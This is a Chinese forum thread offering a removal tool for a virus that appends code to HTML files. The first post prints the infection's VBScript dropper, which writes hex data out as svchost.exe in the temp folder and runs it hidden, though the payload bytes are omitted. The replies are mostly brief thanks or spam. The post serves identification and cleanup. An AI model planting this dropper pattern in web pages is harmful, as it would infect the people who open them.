设为首页收藏本站黑币充值 VIP购买

官方QQ群：

黑帽联盟官方群

黑帽联盟»论坛 › 系统/web安全 › 资源教程工具 › 专杀HTML感染木马工具

发新帖

查看: 2367|回复: 12

上一主题

下一主题

[安全工具] 专杀HTML感染木马工具

黑帽联盟官方人员

920 主题	37 听众	1364 积分

Rank: 8 Rank: 8

TA的每日心情

	奋斗 2019-10-18 11:20

签到天数: 678 天

[LV.9]以坛为家II

电梯直达

跳转到指定楼层

楼主

|只看该作者 |倒序浏览

这个病毒会在所有html的文件的后面直接加上他自己的数据我也不知道是什么数据反正是特别那个啥

各种说的什么远控马什么劫持快照什么的

大概结构：

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = 这里本来有好长的十六进制的数据（应该是吧。）
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

复制代码

该工具专杀这个病毒

工具截图：

工具下载地址：

游客，如果您要查看本帖隐藏内容请回复

专杀svchost工具, 网络安全工具

转播0 淘帖0 分享0 收藏1 赞0 踩0

帖子永久地址：

黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见，与本论坛立场无关
2、本站所有主题由该帖子作者发表，该帖子作者与黑帽联盟享有帖子相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体，但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题，请立即告知本站，本站将及时予与删除并致以最深的歉意
7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

相关帖子

回复

使用道具举报

4 主题	3 听众	302 积分

Rank: 3 Rank: 3

TA的每日心情

	郁闷 2019-5-8 02:08

签到天数: 265 天

[LV.8]以坛为家I

沙发

|只看该作者

这么牛掰?没发现啥组织出来认领哈

来自安卓客户端

来自安卓客户端

回复

使用道具举报

2 主题	0 听众	114 积分

Rank: 2

TA的每日心情

	擦汗 2019-8-19 11:08

签到天数: 54 天

[LV.5]常住居民I

板凳

|只看该作者

这么牛掰?没发现第一看到

回复

使用道具举报

0 主题	0 听众	108 积分

Rank: 2

TA的每日心情

	开心 2020-6-25 16:28

签到天数: 73 天

[LV.6]常住居民II

地板

|只看该作者

这么牛掰?.........

回复

使用道具举报

feihu

52 主题	2 听众	310 积分

Rank: 3 Rank: 3

TA的每日心情

	奋斗 2019-9-27 16:27

签到天数: 258 天

[LV.8]以坛为家I

搓衣板

|只看该作者

我之前就是中的就是这种病毒，特别烦人

回复

使用道具举报

2 主题	0 听众	94 积分

Rank: 2

TA的每日心情

	无聊 2020-5-16 16:39

签到天数: 56 天

[LV.5]常住居民I

6^#

|只看该作者

我html本地的后面都加了很长一串。。。这个是直接删掉后面那个，还是把html文件给删了？

点评

feihu 自己本地可以试试啊，我待会试试看详情回复发表于 2017-7-6 17:02

回复

使用道具举报

feihu

52 主题	2 听众	310 积分

Rank: 3 Rank: 3

TA的每日心情

	奋斗 2019-9-27 16:27

签到天数: 258 天

[LV.8]以坛为家I

7^#

|只看该作者

小熊熊发表于 2017-7-6 16:59
我html本地的后面都加了很长一串。。。这个是直接删掉后面那个，还是把html文件给删了？

自己本地可以试试啊，我待会试试看

点评

小熊熊恩你试的怎么样了我的被360删了.. 详情回复发表于 2017-8-18 17:51

回复

使用道具举报

0 主题	0 听众	60 积分

Rank: 1

TA的每日心情

	奋斗 2019-5-7 19:12

签到天数: 62 天

[LV.6]常住居民II

8^#

|只看该作者

感谢分享~经常遇到html感染~不晓得为什么就感染了

回复

使用道具举报

雨爱

0 主题	0 听众	1 积分

Rank: 1

TA的每日心情

	郁闷 2017-7-17 14:21

签到天数: 4 天

[LV.2]偶尔看看I

9^#

|只看该作者

good 好东西

回复

使用道具举报

2 主题	0 听众	94 积分

Rank: 2

TA的每日心情

	无聊 2020-5-16 16:39

签到天数: 56 天

[LV.5]常住居民I

10^#

|只看该作者

feihu 发表于 2017-7-6 17:02
自己本地可以试试啊，我待会试试看

恩你试的怎么样了我的被360删了..

回复

使用道具举报

dhb94

0 主题	0 听众	48 积分

Rank: 1

TA的每日心情

	开心 2020-6-13 11:44

签到天数: 28 天

[LV.4]偶尔看看III

11^#

|只看该作者

好牛掰的样子

回复

使用道具举报

1 主题	0 听众	158 积分

Rank: 2

TA的每日心情

	开心 2020-3-18 13:41

签到天数: 75 天

[LV.6]常住居民II

12^#

|只看该作者

厉害收了

来自安卓客户端

来自安卓客户端

回复

使用道具举报

3 主题	0 听众	48 积分

Rank: 1

TA的每日心情

	衰 2019-9-19 10:12

签到天数: 38 天

[LV.5]常住居民I

13^#

|只看该作者

服务费服务二人各热热热

已有 1 人评分	黑币	收起理由
定位	-4	灌水！

总评分: 黑币 -4 查看全部评分

回复

使用道具举报

发新帖

发布主题 !fastreply! 收藏帖子 返回列表 搜索

个人中心

回顶部